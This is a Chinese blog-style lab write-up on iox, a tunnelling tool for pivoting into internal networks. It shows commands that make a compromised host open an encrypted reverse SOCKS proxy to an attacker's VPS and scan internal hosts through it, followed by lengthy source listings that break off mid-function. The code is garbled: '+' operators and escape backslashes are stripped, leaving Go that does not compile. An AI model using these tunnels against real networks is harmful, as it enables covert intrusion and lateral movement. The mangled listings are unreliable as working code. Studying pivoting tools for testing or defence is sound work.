内网隧道之iox

2022-09-29 21:13:04 浏览数 (1)


内网隧道之iox

前言

本文研究端口转发 & SOCKS代理工具的一个工具,iox

github:https://github.com/EddieIvan01/iox

一、概述

1、简介

最后更新于2020年,用Go编写,功能类似于lcx/ew,优化了网络逻辑,简化了使用方法

  • 支持跨平台
  • 支持TCP/UDP
  • 反向代理模式中使用TCP多路复用
  • 有流量加密功能

2、原理

就是端口转发和SOCKS代理,与lcx和EW的原理相仿

3、用法

代码语言:javascript复制
#加密
./iox fwd -r 192.168.0.100:3389 -r *1.1.1.1:8888 -k 656565 #目标
./iox fwd -l *8888 -l 33890 -k 656565 #攻击机
# UDP -u
./iox fwd -l 53 -r *127.0.0.1:8888 -k 000102 -u
./iox fwd -l *8888 -l *9999 -k 000102 -u
./iox fwd -r *127.0.0.1:9999 -r 8.8.8.8:53 -k 000102 -u

(1)端口转发

代码语言:javascript复制
#监听 0.0.0.0:8888 和0.0.0.0:9999,将两个连接间的流量转发
./iox fwd -l 8888 -l 9999
#监听0.0.0.0:8888,把流量转发到1.1.1.1:9999
./iox fwd -l 8888 -r 1.1.1.1:9999
#连接1.1.1.1:8888和1.1.1.1:9999, 在两个连接间转发
./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999

(2)SOCKS代理

代码语言:javascript复制
#在本地 0.0.0.0:1080启动Socks5服务
./iox proxy -l 1080
#在被控机开启Socks5服务,将服务转发到公网VPS
#在VPS上转发0.0.0.0:9999到0.0.0.0:1080
#你必须将两条命令成对使用,因为它内部包含了一个简单的协议来控制回连
./iox proxy -r 1.1.1.1:9999
./iox proxy -l 9999 -l 1080      #注意,这两个端口是有顺序的
#接着连接内网主机
proxychains.conf
socks5://1.1.1.1:1080


$ proxychains rdesktop 192.168.0.100:3389

二、实践

1、测试场景

攻击机(服务端):kali 192.168.10.128

目标机(客户端):ubuntu 192.168.10.129

都没有限制TCP连接

2、端口转发

(1)服务端

代码语言:javascript复制
./iox fwd -l *2222 -l 3333 -k 123456 

(2)客户端

开启apache

代码语言:javascript复制
./iox fwd -r 127.0.0.1:80 -r *192.168.10.128:2222 -k 123456

(3)隧道建立

还可以nc、ssh等,根据端口来确定服务

(4)抓包看看

tcp三次握手建立连接,客户端向外发起连接的端口是60614和60618

心跳包

3、SOCKS代理

(1)服务端

修改/etc/proxychains.conf

代码语言:javascript复制
socks5  0.0.0.0 1080

监听并映射端口

代码语言:javascript复制
./iox proxy -l 2222 -l 1080
代码语言:javascript复制

(2)客户端

代码语言:javascript复制
./iox proxy -r 192.168.10.128:2222

(3)隧道建立

之后通过proxychains可以执行命令

如nmap扫描端口信息

代码语言:javascript复制
proxychains4 nmap -p 1-1000 -Pn -sT 192.168.10.129  
代码语言:javascript复制

(4)抓包看看

tcp握手

nmap期间

三、探索

1、源码与分析

(1)main.go

使用方法和调用相应模式

代码语言:javascript复制
package main

import (
  "fmt"
  "iox/operate"
  "iox/option"
  "os"
)

const VERSION = "0.4"

func Usage() {
  fmt.Printf(
    "iox v%vn" 
      "Usage: iox fwd/proxy [-l [*][HOST:]PORT] [-r [*]HOST:PORT] [-k HEX] [-t TIMEOUT] [-u] [-h] [-v]nn" 
      "Options:n" 
      "  -l [*][HOST:]PORTn" 
      "      address to listen on. `*` means encrypted socketn" 
      "  -r [*]HOST:PORTn" 
      "      remote host to connect, HOST can be IP or Domain. `*` means encrypted socketn" 
      "  -k HEXn" 
      "      hexadecimal format key, be used to generate Key and IVn" 
      "  -un" 
      "      udp forward moden" 
      "  -t TIMEOUTn" 
      "      set connection timeout(millisecond), default is 5000n" 
      "  -vn" 
      "      enable log outputn" 
      "  -hn" 
      "      print usage then exitn", VERSION,
  )
}

func main() {
  mode, submode, local, remote, lenc, renc, err := option.ParseCli(os.Args[1:])
  if err != nil {
    if err == option.PrintUsage {
      Usage()
    } else {
      fmt.Println(err.Error())
    }
    return
  }
  // 端口转发和代理两种模式
  switch mode {
  case "fwd":
    switch submode {
    case option.SUBMODE_L2R:
      operate.Local2Remote(local[0], remote[0], lenc[0], renc[0])
    case option.SUBMODE_L2L:
      operate.Local2Local(local[0], local[1], lenc[0], lenc[1])
    case option.SUBMODE_R2R:
      operate.Remote2Remote(remote[0], remote[1], renc[0], renc[1])
    }
  case "proxy":
    switch submode {
    case option.SUBMODE_LP:
      operate.ProxyLocal(local[0], lenc[0])
    case option.SUBMODE_RP:
      operate.ProxyRemote(remote[0], renc[0])
    case option.SUBMODE_RPL2L:
      operate.ProxyRemoteL2L(local[0], local[1], lenc[0], lenc[1])
    }
  }
}

(2)options.go

缺省值

代码语言:javascript复制
package option

const (
  TCP_BUFFER_SIZE = 0x8000

  // UDP protocol's max capacity
  UDP_PACKET_MAX_SIZE = 0xFFFF - 28

  UDP_PACKET_CHANNEL_SIZE = 0x800

  CONNECTING_RETRY_DURATION = 1500

  SMUX_KEEPALIVE_INTERVAL = 20
  SMUX_KEEPALIVE_TIMEOUT  = 60
  SMUX_FRAMESIZE          = 0x8000
  SMUX_RECVBUFFER         = 0x400000
  SMUX_STREAMBUFFER       = 0x10000
)

var (
  TIMEOUT = 5000

  PROTOCOL = "TCP"

  // enable log output
  VERBOSE = false

  // logic optimization, changed in v0.1.1
  FORWARD_WITHOUT_DEC = false
)

(3)parsecli.go

读取输入参数

代码语言:javascript复制
package option

import (
  "encoding/hex"
  "errors"
  "iox/crypto"
  "strconv"
)

var (
  errUnrecognizedMode    = errors.New("Unrecognized mode. Must choose a working mode in [fwd/proxy]")
  errHexDecodeError      = errors.New("KEY must be a hexadecimal string")
  PrintUsage             = errors.New("")
  errUnrecognizedSubMode = errors.New("Malformed args. Incorrect number of `-l/-r` params")
  errNoSecretKey         = errors.New("Encryption enabled, must specify a KEY by `-k` param")
  errNotANumber          = errors.New("Timeout param must be a number")
  errUDPMode             = errors.New("UDP mode only support fwd mode")
)

const (
  SUBMODE_L2L = iota
  SUBMODE_R2R
  SUBMODE_L2R

  SUBMODE_LP
  SUBMODE_RP
  SUBMODE_RPL2L
)

// Dont need flag-lib
func ParseCli(args []string) (
  mode string,
  submode int,
  local []string,
  remote []string,
  lenc []bool,
  renc []bool,
  err error) {

  if len(args) == 0 {
    err = PrintUsage
    return
  }

  mode = args[0]

  switch mode {
  case "fwd", "proxy":
  case "-h", "--help":
    err = PrintUsage
    return
  default:
    err = errUnrecognizedMode
    return
  }

  args = args[1:]
  ptr := 0

  for {
    if ptr == len(args) {
      break
    }

    switch args[ptr] {
    case "-l", "--local":
      l := args[ptr 1]
      if l[0] == '*' {
        lenc = append(lenc, true)
        l = l[1:]
      } else {
        lenc = append(lenc, false)
      }

      if _, err := strconv.Atoi(l); err == nil {
        local = append(local, "0.0.0.0:" l) //默认监听0.0.0.0
      } else {
        if l[0] == ':' {
          local = append(local, "0.0.0.0" l)
        } else {
          local = append(local, l)
        }
      }
      ptr  

    case "-r", "--remote":
      r := args[ptr 1]
      if r[0] == '*' {
        renc = append(renc, true)
        r = r[1:]
      } else {
        renc = append(renc, false)
      }

      remote = append(remote, r)
      ptr  

    case "-u", "--udp":
      PROTOCOL = "UDP"

    case "-k", "--key":
      var key []byte
      key, err = hex.DecodeString(args[ptr 1])
      if err != nil {
        err = errHexDecodeError
        return
      }
      crypto.ExpandKey(key)
      ptr  

    case "-t", "--timeout":
      TIMEOUT, err = strconv.Atoi(args[ptr 1])
      if err != nil {
        err = errNotANumber
        return
      }
      ptr  
    case "-v", "--verbose":
      VERBOSE = true
    case "-h", "--help":
      err = PrintUsage
      return
    }

    ptr  
  }

  if mode == "fwd" {
    switch {
    case len(local) == 0 && len(remote) == 2:
      submode = SUBMODE_R2R
    case len(local) == 1 && len(remote) == 1:
      submode = SUBMODE_L2R
    case len(local) == 2 && len(remote) == 0:
      submode = SUBMODE_L2L
    default:
      err = errUnrecognizedSubMode
      return
    }
  } else {
    switch {
    case len(local) == 0 && len(remote) == 1:
      submode = SUBMODE_RP
    case len(local) == 1 && len(remote) == 0:
      submode = SUBMODE_LP
    case len(local) == 2 && len(remote) == 0:
      submode = SUBMODE_RPL2L
    default:
      err = errUnrecognizedSubMode
      return
    }
  }

  if len(lenc) != len(local) || len(renc) != len(remote) {
    err = errUnrecognizedSubMode
    return
  }

  if crypto.SECRET_KEY == nil {
    for i, _ := range lenc {
      if lenc[i] {
        err = errNoSecretKey
        return
      }
    }

    for i, _ := range renc {
      if renc[i] {
        err = errNoSecretKey
        return
      }
    }
  }

  if PROTOCOL == "UDP" && mode == "proxy" {
    err = errUDPMode
    return
  }

  shouldFwdWithoutDec(lenc, renc)

  return
}

func shouldFwdWithoutDec(lenc []bool, renc []bool) {
  if len(lenc) len(renc) != 2 {
    return
  }

  var result uint8
  for i, _ := range lenc {
    if lenc[i] {
      result  
    }
  }

  for i, _ := range renc {
    if renc[i] {
      result  
    }
  }

  if result == 2 {
    FORWARD_WITHOUT_DEC = true
  }
}

(4)context.go

TCP和UDP的信息的加密写和解密读

代码语言:javascript复制
package netio

import (
  "iox/crypto"
  "iox/option"
  "net"
)

type Ctx interface {
  DecryptRead(b []byte) (int, error)
  EncryptWrite(b []byte) (int, error)

  net.Conn
}

var _ Ctx = &TCPCtx{}
var _ Ctx = &UDPCtx{}

type TCPCtx struct {
  net.Conn
  encrypted bool

  // Ensure stream cipher synchronous
  encCipher *crypto.Cipher
  decCipher *crypto.Cipher
}

func NewTCPCtx(conn net.Conn, encrypted bool) (*TCPCtx, error) {
  // if tc, ok := conn.(*net.TCPConn); ok {
  //     tc.SetLinger(0)
  // }

  encrypted = encrypted && !option.FORWARD_WITHOUT_DEC

  ctx := &TCPCtx{
    Conn:      conn,
    encrypted: encrypted,
  }

  if encrypted {
    encCipher, decCipher, err := crypto.NewCipherPair()
    if err != nil {
      return nil, err
    }

    ctx.encCipher = encCipher
    ctx.decCipher = decCipher
  }

  return ctx, nil
}

func (c *TCPCtx) DecryptRead(b []byte) (int, error) {
  n, err := c.Read(b)
  if err != nil {
    return n, err
  }

  if c.encrypted {
    c.decCipher.StreamXOR(b[:n], b[:n])
  }

  return n, err
}

func (c *TCPCtx) EncryptWrite(b []byte) (int, error) {
  if c.encrypted {
    c.encCipher.StreamXOR(b, b)
  }
  return c.Write(b)
}

type UDPCtx struct {
  *net.UDPConn
  encrypted  bool
  connected  bool
  remoteAddr *net.UDPAddr

  // sync.Mutex
}

func NewUDPCtx(conn *net.UDPConn, encrypted bool, connected bool) (*UDPCtx, error) {
  encrypted = encrypted && !option.FORWARD_WITHOUT_DEC

  ctx := &UDPCtx{
    UDPConn:   conn,
    encrypted: encrypted,
    connected: connected,
  }

  return ctx, nil
}

// Encryption for packet is different from stream
func (c *UDPCtx) DecryptRead(b []byte) (int, error) {
  var n int
  var err error

  if !c.connected {
    var remoteAddr *net.UDPAddr
    n, remoteAddr, err = c.ReadFromUDP(b)
    if err != nil {
      return n, err
    }
    c.remoteAddr = remoteAddr

  } else {
    n, err = c.Read(b)
    if err != nil {
      return n, err
    }
  }

  if c.encrypted {
    if len(b) < 0x18 {
      // no nonce, skip
      return 0, nil
    }
    nonce := b[n-0x18 : n]
    b = b[:n-0x18]

    cipher, err := crypto.NewCipher(nonce)
    if err != nil {
      return 0, err
    }

    n -= 0x18
    cipher.StreamXOR(b[:n], b[:n])
  }

  return n, err
}

func (c *UDPCtx) EncryptWrite(b []byte) (int, error) {
  if c.encrypted {
    iv, err := crypto.RandomNonce()
    cipher, err := crypto.NewCipher(iv)
    if err != nil {
      return 0, err
    }

    cipher.StreamXOR(b, b)
    b = append(b, iv...)
  }

  if !c.connected {
    return c.WriteTo(b, c.remoteAddr)
  }
  return c.Write(b)
}

/*
func (c UDPCtx) IsRemoteAddrRegistered() bool {
  return c.remoteAddr != nil
}
*/

(5)forward.go

读写功能,每个套接字只将数据包写入最近向其发送数据包的地址,而不是广播到所有地址

代码语言:javascript复制
package netio

import (
  "io"
  "iox/logger"
  "iox/option"
)

func CipherCopy(dst Ctx, src Ctx) (int64, error) {
  buffer := make([]byte, option.TCP_BUFFER_SIZE)
  var written int64
  var err error

  for {
    var nr int
    var er error

    nr, er = src.DecryptRead(buffer)

    if nr > 0 {
      var nw int
      var ew error

      nw, ew = dst.EncryptWrite(buffer[:nr])

      if nw > 0 {
        logger.Info("<== [%d bytes] ==> ", nw)
        written  = int64(nw)
      }
      if ew != nil {
        err = ew
        break
      }
      if nr != nw {
        err = io.ErrShortWrite
        break
      }
    }
    if er != nil {
      if er != io.EOF {
        err = er
      }
      break
    }
  }

  return written, err
}

func PipeForward(ctxA Ctx, ctxB Ctx) {
  signal := make(chan struct{}, 1)

  go func() {
    CipherCopy(ctxA, ctxB)
    signal <- struct{}{}
  }()

  go func() {
    CipherCopy(ctxB, ctxA)
    signal <- struct{}{}
  }()

  <-signal
}

// This function will run forever
// If need to do performance optimization in future, I will consider a go-routine pool here,
// but it will introduce the mutex-lock overhead
func ForwardUDP(ctxA Ctx, ctxB Ctx) {
  go func() {
    buffer := make([]byte, option.UDP_PACKET_MAX_SIZE)
    for {
      nr, _ := ctxA.DecryptRead(buffer)
      if nr > 0 {
        if nr == 4 &&
          buffer[0] == 0xCC && buffer[1] == 0xDD &&
          buffer[2] == 0xEE && buffer[3] == 0xFF {
          continue
        }

        nw, _ := ctxB.EncryptWrite(buffer[:nr])
        if nw > 0 {
          logger.Info("<== [%d bytes] ==>", nw)
        }
      }
    }
  }()

  go func() {
    buffer := make([]byte, option.UDP_PACKET_MAX_SIZE)
    for {
      nr, _ := ctxB.DecryptRead(buffer)
      if nr > 0 {
        if nr == 4 &&
          buffer[0] == 0xCC && buffer[1] == 0xDD &&
          buffer[2] == 0xEE && buffer[3] == 0xFF {
          continue
        }

        nw, _ := ctxA.EncryptWrite(buffer[:nr])
        if nw > 0 {
          logger.Info("<== [%d bytes] ==>", nw)
        }
      }
    }
  }()

  select {}
}

var UDP_INIT_PACKET = []byte{
  0xCC, 0xDD, 0xEE, 0xFF,
}

// Each socket only writes the packet to the address which last sent packet to it recently,
// instead of broadcasting to all the address
func ForwardUnconnectedUDP(ctxA Ctx, ctxB Ctx) {
  addrRegistedA := false
  addrRegistedB := false
  addrRegistedSignalA := make(chan struct{})
  addrRegistedSignalB := make(chan struct{})

  packetChannelA := make(chan []byte, option.UDP_PACKET_CHANNEL_SIZE)
  packetChannelB := make(chan []byte, option.UDP_PACKET_CHANNEL_SIZE)

  // A read
  go func() {
    for {
      buffer := make([]byte, option.UDP_PACKET_MAX_SIZE)
      nr, _ := ctxA.DecryptRead(buffer)
      if nr > 0 {
        if !addrRegistedA {
          addrRegistedA = true
          addrRegistedSignalA <- struct{}{}
        }

        if !(nr == 4 &&
          buffer[0] == 0xCC && buffer[1] == 0xDD &&
          buffer[2] == 0xEE && buffer[3] == 0xFF) {
          packetChannelB <- buffer[:nr]
        }
      }
    }
  }()

  // B read
  go func() {
    for {
      buffer := make([]byte, option.UDP_PACKET_MAX_SIZE)
      nr, _ := ctxB.DecryptRead(buffer)
      if nr > 0 {
        if !addrRegistedB {
          addrRegistedB = true
          addrRegistedSignalB <- struct{}{}
        }

        if !(nr == 4 &&
          buffer[0] == 0xCC && buffer[1] == 0xDD &&
          buffer[2] == 0xEE && buffer[3] == 0xFF) {
          packetChannelA <- buffer[:nr]
        }
      }
    }
  }()

  // A write
  go func() {
    <-addrRegistedSignalA
    var n int
    for {
      packet := <-packetChannelA
      n, _ = ctxA.EncryptWrite(packet)
      if n > 0 {
        logger.Info("<== [%d bytes] ==>", n)
      }
    }
  }()

  // B write
  go func() {
    <-addrRegistedSignalB
    var n int
    for {
      packet := <-packetChannelB
      n, _ = ctxB.EncryptWrite(packet)
      if n > 0 {
        logger.Info("<== [%d bytes] ==>", n)
      }
    }
  }()

  select {}
}

(6)socks5.go

写socks5

代码语言:javascript复制
// code from https://github.com/ring04h/s5.go
package socks5

import (
  "errors"
  "io"
  "iox/logger"
  "iox/netio"
  "iox/option"
  "net"
  "strconv"
  "time"
)

var (
  Commands = []string{"CONNECT", "BIND", "UDP ASSOCIATE"}
  AddrType = []string{"", "IPv4", "", "Domain", "IPv6"}
  Verbose  = false

  errAddrType      = errors.New("socks addr type not supported")
  errVer           = errors.New("socks version not supported")
  errMethod        = errors.New("socks only support noauth method")
  errAuthExtraData = errors.New("socks authentication get extra data")
  errReqExtraData  = errors.New("socks request get extra data")
  errCmd           = errors.New("socks only support connect command")
)

const (
  socksVer5       = 0x05
  socksCmdConnect = 0x01
)

func readAtLeast(r netio.Ctx, buf []byte, min int) (n int, err error) {
  if len(buf) < min {
    return 0, io.ErrShortBuffer
  }

  for n < min && err == nil {
    var nn int
    nn, err = r.DecryptRead(buf[n:])
    n  = nn
  }
  if n >= min {
    err = nil
  } else if n > 0 && err == io.EOF {
    err = io.ErrUnexpectedEOF
  }
  return
}

func handShake(conn netio.Ctx) (err error) {
  const (
    idVer     = 0
    idNmethod = 1
  )

  buf := make([]byte, 258)

  var n int

  // make sure we get the nmethod field
  if n, err = readAtLeast(conn, buf, idNmethod 1); err != nil {
    return
  }

  if buf[idVer] != socksVer5 {
    return errVer
  }

  nmethod := int(buf[idNmethod]) //  client support auth mode
  msgLen := nmethod   2          //  auth msg length
  if n == msgLen {               // handshake done, common case
    // do nothing, jump directly to send confirmation
  } else if n < msgLen { // has more methods to read, rare case
    if _, err = readAtLeast(conn, buf[n:msgLen], len(buf[n:msgLen])); err != nil {
      return
    }
  } else { // error, should not get extra data
    return errAuthExtraData
  }
  /*
     X'00' NO AUTHENTICATION REQUIRED
     X'01' GSSAPI
     X'02' USERNAME/PASSWORD
     X'03' to X'7F' IANA ASSIGNED
     X'80' to X'FE' RESERVED FOR PRIVATE METHODS
     X'FF' NO ACCEPTABLE METHODS
  */
  // send confirmation: version 5, no authentication required
  _, err = conn.EncryptWrite([]byte{socksVer5, 0})

  return
}

func parseTarget(conn netio.Ctx) (host string, err error) {
  const (
    idVer   = 0
    idCmd   = 1
    idType  = 3 // address type index
    idIP0   = 4 // ip addres start index
    idDmLen = 4 // domain address length index
    idDm0   = 5 // domain address start index

    typeIPv4 = 1 // type is ipv4 address
    typeDm   = 3 // type is domain address
    typeIPv6 = 4 // type is ipv6 address

    lenIPv4   = 3   1   net.IPv4len   2 // 3(ver cmd rsv)   1addrType   ipv4   2port
    lenIPv6   = 3   1   net.IPv6len   2 // 3(ver cmd rsv)   1addrType   ipv6   2port
    lenDmBase = 3   1   1   2           // 3   1addrType   1addrLen   2port, plus addrLen
  )
  // refer to getRequest in server.go for why set buffer size to 263
  buf := make([]byte, 263)
  var n int

  // read till we get possible domain length field
  if n, err = readAtLeast(conn, buf, idDmLen 1); err != nil {
    return
  }

  // check version and cmd
  if buf[idVer] != socksVer5 {
    err = errVer
    return
  }

  /*
     CONNECT X'01'
     BIND X'02'
     UDP ASSOCIATE X'03'
  */

  if buf[idCmd] > 0x03 || buf[idCmd] == 0x00 {
    logger.Info("Unknown Command: %d", buf[idCmd])
  }

  if buf[idCmd] != socksCmdConnect { //  only support CONNECT mode
    err = errCmd
    return
  }

  // read target address
  reqLen := -1
  switch buf[idType] {
  case typeIPv4:
    reqLen = lenIPv4
  case typeIPv6:
    reqLen = lenIPv6
  case typeDm: // domain name
    reqLen = int(buf[idDmLen])   lenDmBase
  default:
    err = errAddrType
    return
  }

  if n == reqLen {
    // common case, do nothing
  } else if n < reqLen { // rare case
    if _, err = readAtLeast(conn, buf[n:reqLen], len(buf[n:reqLen])); err != nil {
      return
    }
  } else {
    err = errReqExtraData
    return
  }

  switch buf[idType] {
  case typeIPv4:
    host = net.IP(buf[idIP0 : idIP0 net.IPv4len]).String()
  case typeIPv6:
    host = net.IP(buf[idIP0 : idIP0 net.IPv6len]).String()
  case typeDm:
    host = string(buf[idDm0 : idDm0 buf[idDmLen]])
  }
  port := bigEndianUint16(buf[reqLen-2 : reqLen])
  host = net.JoinHostPort(host, strconv.Itoa(int(port)))

  return
}

func bigEndianUint16(b []byte) uint16 {
  _ = b[1] // bounds check hint to compiler; see golang.org/issue/14808
  return uint16(b[1]) | uint16(b[0])<<8
}

func pipeWhenClose(conn netio.Ctx, target string) {
  remoteConn, err := net.DialTimeout(
    "tcp", target,
    time.Millisecond*time.Duration(option.TIMEOUT),
  )
  if err != nil {
    logger.Info("Connect remote :"   err.Error())
    return
  }
  defer remoteConn.Close()

  tcpAddr := remoteConn.LocalAddr().(*net.TCPAddr)
  if tcpAddr.Zone == "" {
    if tcpAddr.IP.Equal(tcpAddr.IP.To4()) {
      tcpAddr.Zone = "ip4"
    } else {
      tcpAddr.Zone = "ip6"
    }
  }

  rep := make([]byte, 256)
  rep[0] = 0x05
  rep[1] = 0x00 // success
  rep[2] = 0x00 //RSV

  //IP
  if tcpAddr.Zone == "ip6" {
    rep[3] = 0x04 //IPv6
  } else {
    rep[3] = 0x01 //IPv4
  }

  var ip net.IP
  if "ip6" == tcpAddr.Zone {
    ip = tcpAddr.IP.To16()
  } else {
    ip = tcpAddr.IP.To4()
  }
  pindex := 4
  for _, b := range ip {
    rep[pindex] = b
    pindex  = 1
  }
  rep[pindex] = byte((tcpAddr.Port >> 8) & 0xff)
  rep[pindex 1] = byte(tcpAddr.Port & 0xff)

  conn.EncryptWrite(rep[0 : pindex 2])
  // Transfer data

  remoteConnCtx, err := netio.NewTCPCtx(remoteConn, false)
  if err != nil {
    logger.Info("Socks5 remote connect error: %s", err.Error())
    return
  }

  netio.PipeForward(conn, remoteConnCtx)
}

func HandleConnection(conn netio.Ctx) {
  if err := handShake(conn); err != nil {
    logger.Info("Socks5 handshake error: %s", err.Error())
    return
  }
  addr, err := parseTarget(conn)
  if err != nil {
    logger.Info("socks consult transfer mode or parse target: %s", err.Error())
    return
  }
  pipeWhenClose(conn, addr)
}

(7)fwd.go

TCP和UDP的三种端口转发

代码语言:javascript复制
package operate

import (
  "iox/crypto"
  "iox/logger"
  "iox/netio"
  "iox/option"
  "net"
  "time"
)

func local2RemoteTCP(local string, remote string, lenc bool, renc bool) {
  listener, err := net.Listen("tcp", local)
  if err != nil {
    logger.Warn("Listen on %s error: %s", local, err.Error())
    return
  }
  defer listener.Close()

  for {
    logger.Info("Wait for connection on %s", local)

    localConn, err := listener.Accept()
    if err != nil {
      logger.Warn("Handle local connect error: %s", err.Error())
      continue
    }

    go func() {
      defer localConn.Close()

      logger.Info("Connection from %s", localConn.RemoteAddr().String())
      logger.Info("Connecting "   remote)

      localConnCtx, err := netio.NewTCPCtx(localConn, lenc)
      if err != nil {
        logger.Warn("Handle local connect error: %s", err.Error())
        return
      }

      remoteConn, err := net.DialTimeout(
        "tcp", remote,
        time.Millisecond*time.Duration(option.TIMEOUT),
      )
      if err != nil {
        logger.Warn("Connect remote %s error: %s", remote, err.Error())
        return
      }
      defer remoteConn.Close()

      remoteConnCtx, err := netio.NewTCPCtx(remoteConn, renc)
      if err != nil {
        logger.Warn("Connect remote %s error: %s", remote, err.Error())
        return
      }

      logger.Info("Open pipe: %s <== FWD ==> %s",
        localConn.RemoteAddr().String(), remoteConn.RemoteAddr().String())
      netio.PipeForward(localConnCtx, remoteConnCtx)
      logger.Info("Close pipe: %s <== FWD ==> %s",
        localConn.RemoteAddr().String(), remoteConn.RemoteAddr().String())
    }()
  }

}

func local2RemoteUDP(local string, remote string, lenc bool, renc bool) {
  localAddr, err := net.ResolveUDPAddr("udp", local)
  if err != nil {
    logger.Warn("Parse udp address %s error: %s", local, err.Error())
    return
  }
  listener, err := net.ListenUDP("udp", localAddr)
  if err != nil {
    logger.Warn("Listen udp on %s error: %s", local, err.Error())
    return
  }
  defer listener.Close()

  remoteAddr, err := net.ResolveUDPAddr("udp", remote)
  if err != nil {
    logger.Warn("Parse udp address %s error: %s", local, err.Error())
    return
  }
  remoteConn, err := net.DialUDP("udp", nil, remoteAddr)
  if err != nil {
    logger.Warn("Dial remote udp %s error: %s", local, err.Error())
    return
  }
  defer remoteConn.Close()

  listenerCtx, err := netio.NewUDPCtx(listener, lenc, false)
  if err != nil {
    return
  }
  remoteCtx, err := netio.NewUDPCtx(remoteConn, renc, true)
  if err != nil {
    return
  }

  netio.ForwardUDP(listenerCtx, remoteCtx)
}

func Local2Remote(local string, remote string, lenc bool, renc bool) {
  if option.PROTOCOL == "TCP" {
    logger.Success("Forward TCP traffic between %s (encrypted: %v) and %s (encrypted: %v)",
      local, lenc, remote, renc)
    local2RemoteTCP(local, remote, lenc, renc)
  } else {
    logger.Success("Forward UDP traffic between %s (encrypted: %v) and %s (encrypted: %v)",
      local, lenc, remote, renc)
    local2RemoteUDP(local, remote, lenc, renc)
  }
}

func local2LocalTCP(localA string, localB string, laenc bool, lbenc bool) {
  var listenerA net.Listener
  var listenerB net.Listener

  for {
    signal := make(chan byte)
    var localConnA net.Conn
    var localConnB net.Conn

    go func() {
      var err error
      listenerA, err = net.Listen("tcp", localA)
      if err != nil {
        logger.Warn("Listen on %s error: %s", localA, err.Error())
        return
      }
      defer listenerA.Close()

      for {
        logger.Info("Wait for connection on %s", localA)

        var err error
        localConnA, err = listenerA.Accept()
        if err != nil {
          logger.Warn("Handle connection error: %s", err.Error())
          continue
        }
        break
      }
      signal <- 'A'
    }()

    go func() {
      var err error
      listenerB, err = net.Listen("tcp", localB)
      if err != nil {
        logger.Warn("Listen on %s error: %s", localB, err.Error())
        return
      }
      defer listenerB.Close()

      for {
        logger.Info("Wait for connection on %s", localB)

        var err error
        localConnB, err = listenerB.Accept()
        if err != nil {
          logger.Warn("Handle connection error: %s", err.Error())
          continue
        }
        break
      }
      signal <- 'B'
    }()

    switch <-signal {
    case 'A':
      logger.Info("%s connected, waiting for %s", localA, localB)
    case 'B':
      logger.Info("%s connected, waiting for %s", localB, localA)
    }

    <-signal

    go func() {
      defer func() {
        if localConnA != nil {
          localConnA.Close()
        }

        if localConnB != nil {
          localConnB.Close()
        }
      }()
      //找了中间端口转发
      localConnCtxA, err := netio.NewTCPCtx(localConnA, laenc)
      if err != nil {
        logger.Warn("handle local %s error: %s", localA, err.Error())
      }

      localConnCtxB, err := netio.NewTCPCtx(localConnB, lbenc)
      if err != nil {
        logger.Warn("handle local %s error: %s", localB, err.Error())
      }

      logger.Info("Open pipe: %s <== FWD ==> %s",
        localConnA.RemoteAddr().String(), localConnB.RemoteAddr().String())
      netio.PipeForward(localConnCtxA, localConnCtxB)
      logger.Info("Close pipe: %s <== FWD ==> %s",
        localConnA.RemoteAddr().String(), localConnB.RemoteAddr().String())
    }()
  }
}

func local2LocalUDP(localA string, localB string, laenc bool, lbenc bool) {
  localAddrA, err := net.ResolveUDPAddr("udp", localA)
  if err != nil {
    logger.Warn("Parse udp address %s error: %s", localA, err.Error())
    return
  }
  listenerA, err := net.ListenUDP("udp", localAddrA)
  if err != nil {
    logger.Warn("Listen udp on %s error: %s", localA, err.Error())
    return
  }
  defer listenerA.Close()

  localAddrB, err := net.ResolveUDPAddr("udp", localB)
  if err != nil {
    logger.Warn("Parse udp address %s error: %s", localB, err.Error())
    return
  }
  listenerB, err := net.ListenUDP("udp", localAddrB)
  if err != nil {
    logger.Warn("Listen udp on %s error: %s", localB, err.Error())
    return
  }
  defer listenerB.Close()

  listenerCtxA, err := netio.NewUDPCtx(listenerA, laenc, false)
  if err != nil {
    return
  }
  listenerCtxB, err := netio.NewUDPCtx(listenerB, lbenc, false)
  if err != nil {
    return
  }

  netio.ForwardUnconnectedUDP(listenerCtxA, listenerCtxB)
}

func Local2Local(localA string, localB string, laenc bool, lbenc bool) {
  if option.PROTOCOL == "TCP" {
    logger.Success("Forward TCP traffic between %s (encrypted: %v) and %s (encrypted: %v)",
      localA, laenc, localB, lbenc)

    local2LocalTCP(localA, localB, laenc, lbenc)
  } else {
    logger.Success("Forward UDP traffic between %s (encrypted: %v) and %s (encrypted: %v)",
      localA, laenc, localB, lbenc)
    local2LocalUDP(localA, localB, laenc, lbenc)
  }
}

func remote2remoteTCP(remoteA string, remoteB string, raenc bool, rbenc bool) {
  for {
    var remoteConnA net.Conn
    var remoteConnB net.Conn

    signal := make(chan struct{})

    go func() {
      for {
        var err error
        logger.Info("Connecting remote %s", remoteA)

        remoteConnA, err = net.DialTimeout(
          "tcp", remoteA,
          time.Millisecond*time.Duration(option.TIMEOUT),
        )
        if err != nil {
          logger.Info("Connect remote %s error, retrying", remoteA)
          time.Sleep(option.CONNECTING_RETRY_DURATION * time.Millisecond)
          continue
        }
        break
      }

      signal <- struct{}{}
    }()

    go func() {
      for {
        var err error
        logger.Info("Connecting remote %s", remoteB)

        remoteConnB, err = net.DialTimeout(
          "tcp", remoteB,
          time.Millisecond*time.Duration(option.TIMEOUT),
        )
        if err != nil {
          logger.Info("Connect remote %s error, retrying", remoteB)
          time.Sleep(option.CONNECTING_RETRY_DURATION * time.Millisecond)
          continue
        }
        break
      }

      signal <- struct{}{}
    }()

    <-signal
    <-signal

    go func() {
      defer func() {
        if remoteConnA != nil {
          remoteConnA.Close()
        }

        if remoteConnB != nil {
          remoteConnB.Close()
        }
      }()

      if remoteConnA != nil && remoteConnB != nil {
        remoteConnCtxA, err := netio.NewTCPCtx(remoteConnA, raenc)
        if err != nil {
          logger.Warn("Handle remote %s error: %s", remoteA, err.Error())
        }
        remoteConnCtxB, err := netio.NewTCPCtx(remoteConnB, rbenc)
        if err != nil {
          logger.Warn("Handle remote %s error: %s", remoteB, err.Error())
        }

        logger.Info("Start pipe: %s <== FWD ==> %s",
          remoteConnA.RemoteAddr().String(), remoteConnB.RemoteAddr().String())
        netio.PipeForward(remoteConnCtxA, remoteConnCtxB)
        logger.Info("Close pipe: %s <== FWD ==> %s",
          remoteConnA.RemoteAddr().String(), remoteConnB.RemoteAddr().String())
      }
    }()
  }
}

func remote2remoteUDP(remoteA string, remoteB string, raenc bool, rbenc bool) {
